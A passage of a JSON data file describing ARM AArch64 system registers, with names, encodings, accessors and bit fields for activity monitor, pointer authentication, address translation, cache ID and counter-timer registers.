"AMEVCNTR14_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 5, "name": "AMEVCNTR15_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 6, "name": "AMEVCNTR16_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 7, "name": "AMEVCNTR17_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 8, "name": "AMEVCNTR18_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 9, "name": "AMEVCNTR19_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 10, "name": "AMEVCNTR110_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 11, "name": "AMEVCNTR111_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 12, "name": "AMEVCNTR112_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 13, "name": "AMEVCNTR113_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 14, "name": "AMEVCNTR114_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 15, "name": "AMEVCNTR115_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMEVCNTVOFF00_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 1, "name": "AMEVCNTVOFF01_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 2, "name": "AMEVCNTVOFF02_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 3, "name": "AMEVCNTVOFF03_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 4, "name": "AMEVCNTVOFF04_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 5, "name": "AMEVCNTVOFF05_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 6, "name": "AMEVCNTVOFF06_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 7, "name": "AMEVCNTVOFF07_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 8, "name": "AMEVCNTVOFF08_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 9, "name": "AMEVCNTVOFF09_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 10, "name": "AMEVCNTVOFF010_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 11, "name": "AMEVCNTVOFF011_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 12, "name": "AMEVCNTVOFF012_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 13, "name": "AMEVCNTVOFF013_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 14, "name": "AMEVCNTVOFF014_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 15, "name": "AMEVCNTVOFF015_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 0", "enc": [3, 4, 13, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMEVCNTVOFF10_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 1, "name": "AMEVCNTVOFF11_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 2, "name": "AMEVCNTVOFF12_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 3, "name": "AMEVCNTVOFF13_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 4, "name": "AMEVCNTVOFF14_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 5, "name": "AMEVCNTVOFF15_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 6, "name": "AMEVCNTVOFF16_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 7, "name": "AMEVCNTVOFF17_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 8, "name": "AMEVCNTVOFF18_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 9, "name": "AMEVCNTVOFF19_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 10, "name": "AMEVCNTVOFF110_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 11, "name": "AMEVCNTVOFF111_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 12, "name": "AMEVCNTVOFF112_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 13, "name": "AMEVCNTVOFF113_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 14, "name": "AMEVCNTVOFF114_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 15, "name": "AMEVCNTVOFF115_EL2", "fullname": "Activity Monitors Event Counter Virtual Offset Registers 1", "enc": [3, 4, 13, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMEVTYPER00_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "AMEVTYPER01_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "AMEVTYPER02_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "AMEVTYPER03_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "AMEVTYPER04_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "AMEVTYPER05_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "AMEVTYPER06_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "AMEVTYPER07_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "AMEVTYPER08_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "AMEVTYPER09_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "AMEVTYPER010_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "AMEVTYPER011_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "AMEVTYPER012_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "AMEVTYPER013_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "AMEVTYPER014_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "AMEVTYPER015_EL0", "fullname": "Activity Monitors Event Type Registers 0", "enc": [3, 3, 13, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMEVTYPER10_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "AMEVTYPER11_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "AMEVTYPER12_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "AMEVTYPER13_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "AMEVTYPER14_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "AMEVTYPER15_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "AMEVTYPER16_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "AMEVTYPER17_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "AMEVTYPER18_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "AMEVTYPER19_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "AMEVTYPER110_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "AMEVTYPER111_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "AMEVTYPER112_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "AMEVTYPER113_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "AMEVTYPER114_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "AMEVTYPER115_EL0", "fullname": "Activity Monitors Event Type Registers 1", "enc": [3, 3, 13, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "evtCount", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMUSERENR_EL0", "fullname": "Activity Monitors User Enable Register", "enc": [3, 3, 13, 2, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "APDAKeyHi_EL1", "fullname": "Pointer Authentication Key A for Data (bits[127:64]) ", "enc": [3, 0, 2, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APDAKeyLo_EL1", "fullname": "Pointer Authentication Key A for Data (bits[63:0]) ", "enc": [3, 0, 2, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APDBKeyHi_EL1", "fullname": "Pointer Authentication Key B for Data (bits[127:64]) ", "enc": [3, 0, 2, 2, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APDBKeyLo_EL1", "fullname": "Pointer Authentication Key B for Data (bits[63:0]) ", "enc": [3, 0, 2, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APGAKeyHi_EL1", "fullname": "Pointer Authentication Key A for Code (bits[127:64]) ", "enc": [3, 0, 2, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APGAKeyLo_EL1", "fullname": "Pointer Authentication Key A for Code (bits[63:0]) ", "enc": [3, 0, 2, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APIAKeyHi_EL1", "fullname": "Pointer Authentication Key A for Instruction (bits[127:64]) ", "enc": [3, 0, 2, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APIAKeyLo_EL1", "fullname": "Pointer Authentication Key A for Instruction (bits[63:0]) ", "enc": [3, 0, 2, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APIBKeyHi_EL1", "fullname": "Pointer Authentication Key B for Instruction (bits[127:64]) ", "enc": [3, 0, 2, 1, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "APIBKeyLo_EL1", "fullname": "Pointer Authentication Key B for Instruction (bits[63:0]) ", "enc": [3, 0, 2, 1, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S12E0R", "fullname": "Address Translate Stages 1 and 2 EL0 Read", "enc": [1, 4, 7, 8, 6], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S12E0W", "fullname": "Address Translate Stages 1 and 2 EL0 Write", "enc": [1, 4, 7, 8, 7], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S12E1R", "fullname": "Address Translate Stages 1 and 2 EL1 Read", "enc": [1, 4, 7, 8, 4], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S12E1W", "fullname": "Address Translate Stages 1 and 2 EL1 Write", "enc": [1, 4, 7, 8, 5], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E0R", "fullname": "Address Translate Stage 1 EL0 Read", "enc": [1, 0, 7, 8, 2], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E0W", "fullname": "Address Translate Stage 1 EL0 Write", "enc": [1, 0, 7, 8, 3], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E1RP", "fullname": "Address Translate Stage 1 EL1 Read PAN", "enc": [1, 0, 7, 9, 0], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E1R", "fullname": "Address Translate Stage 1 EL1 Read", "enc": [1, 0, 7, 8, 0], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E1WP", "fullname": "Address Translate Stage 1 EL1 Write PAN", "enc": [1, 0, 7, 9, 1], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E1W", "fullname": "Address Translate Stage 1 EL1 Write", "enc": [1, 0, 7, 8, 1], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E2R", "fullname": "Address Translate Stage 1 EL2 Read", "enc": [1, 4, 7, 8, 0], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E2W", "fullname": "Address Translate Stage 1 EL2 Write", "enc": [1, 4, 7, 8, 1], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E3R", "fullname": "Address Translate Stage 1 EL3 Read", "enc": [1, 6, 7, 8, 0], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "S1E3W", "fullname": "Address Translate Stage 1 EL3 Write", "enc": [1, 6, 7, 8, 1], "accessors": ["AT"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CCSIDR2_EL1", "fullname": "Current Cache Size ID Register 2", "enc": [3, 1, 0, 0, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "NumSets", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CCSIDR_EL1", "fullname": "Current Cache Size ID Register", "enc": [3, 1, 0, 0, 0], "accessors": ["MRS"], "fieldsets": [{"instance": "IsFeatureImplemented(FEAT_CCIDX)", "fields": [{"name": "NumSets", "msb": 55, "lsb": 32}, {"name": "Associativity", "msb": 23, "lsb": 3}, {"name": "LineSize", "msb": 2, "lsb": 0}]}, {"instance": "!IsFeatureImplemented(FEAT_CCIDX)", "fields": [{"name": "NumSets", "msb": 27, "lsb": 13}, {"name": "Associativity", "msb": 12, "lsb": 3}, {"name": "LineSize", "msb": 2, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RCTX", "fullname": "Control Flow Prediction Restriction by Context", "enc": [1, 3, 7, 3, 4], "accessors": ["CFP"], "fieldsets": [{"fields": [{"name": "GVMID", "msb": 48, "lsb": 48}, {"name": "VMID", "msb": 47, "lsb": 32}, {"name": "NS", "msb": 26, "lsb": 26}, {"name": "EL", "msb": 25, "lsb": 24}, {"name": "GASID", "msb": 16, "lsb": 16}, {"name": "ASID", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CLIDR_EL1", "fullname": "Cache Level ID Register", "enc": [3, 1, 0, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Ttype", "msb": 46, "lsb": 33}, {"name": "ICB", "msb": 32, "lsb": 30}, {"name": "LoUU", "msb": 29, "lsb": 27}, {"name": "LoC", "msb": 26, "lsb": 24}, {"name": "LoUIS", "msb": 23, "lsb": 21}, {"name": "Ctype", "msb": 20, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTFRQ_EL0", "fullname": "Counter-timer Frequency register", "enc": [3, 3, 14, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTHCTL_EL2", "fullname": "Counter-timer Hypervisor Control register", "enc": [3, 4, 14, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H == 1", "fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL1NVVCT", "msb": 16, "lsb": 16}, {"name": "EL1NVPCT", "msb": 15, "lsb": 15}, {"name": "EL1TVCT", "msb": 14, "lsb": 14}, {"name": "EL1TVT", "msb": 13, "lsb": 13}, {"name": "ECV", "msb": 12, "lsb": 12}, {"name": "EL1PTEN", "msb": 11, "lsb": 11}, {"name": "EL1PCTEN", "msb": 10, "lsb": 10}, {"name": "EL0PTEN", "msb": 9, "lsb": 9}, {"name": "EL0VTEN", "msb": 8, "lsb": 8}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL0VCTEN", "msb": 1, "lsb": 1}, {"name": "EL0PCTEN", "msb": 0, "lsb": 0}]}, {"instance": "HCR_EL2.E2H == 0", "fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL1NVVCT", "msb": 16, "lsb": 16}, {"name": "EL1NVPCT", "msb": 15, "lsb": 15}, {"name": "EL1TVCT", "msb": 14, "lsb": 14}, {"name": "EL1TVT", "msb": 13, "lsb": 13}, {"name": "ECV", "msb": 12, "lsb": 12}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL1PCEN", "msb": 1, "lsb": 1}, {"name": "EL1PCTEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTKCTL_EL1", "fullname": "Counter-timer Hypervisor Control register", "enc": [3, 0, 14, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H == 1", "fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL1NVVCT", "msb": 16, "lsb": 16}, {"name": "EL1NVPCT", "msb": 15, "lsb": 15}, {"name": "EL1TVCT", "msb": 14, "lsb": 14}, {"name": "EL1TVT", "msb": 13, "lsb": 13}, {"name": "ECV", "msb": 12, "lsb": 12}, {"name": "EL1PTEN", "msb": 11, "lsb": 11}, {"name": "EL1PCTEN", "msb": 10, "lsb": 10}, {"name": "EL0PTEN", "msb": 9, "lsb": 9}, {"name": "EL0VTEN", "msb": 8, "lsb": 8}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL0VCTEN", "msb": 1, "lsb": 1}, {"name": "EL0PCTEN", "msb": 0, "lsb": 0}]}, {"instance": "HCR_EL2.E2H == 0", "fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL1NVVCT", "msb": 16, "lsb": 16}, {"name": "EL1NVPCT", "msb": 15, "lsb": 15}, {"name": "EL1TVCT", "msb": 14, "lsb": 14}, {"name": "EL1TVT", "msb": 13, "lsb": 13}, {"name": "ECV", "msb": 12, "lsb": 12}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL1PCEN", "msb": 1, "lsb": 1}, {"name": "EL1PCTEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHP_CTL_EL2", "fullname": "Counter-timer Hypervisor Physical Timer Control register", "enc": [3, 4, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_CTL_EL0", "fullname": "Counter-timer Hypervisor Physical Timer Control register", "enc": [3, 3, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": 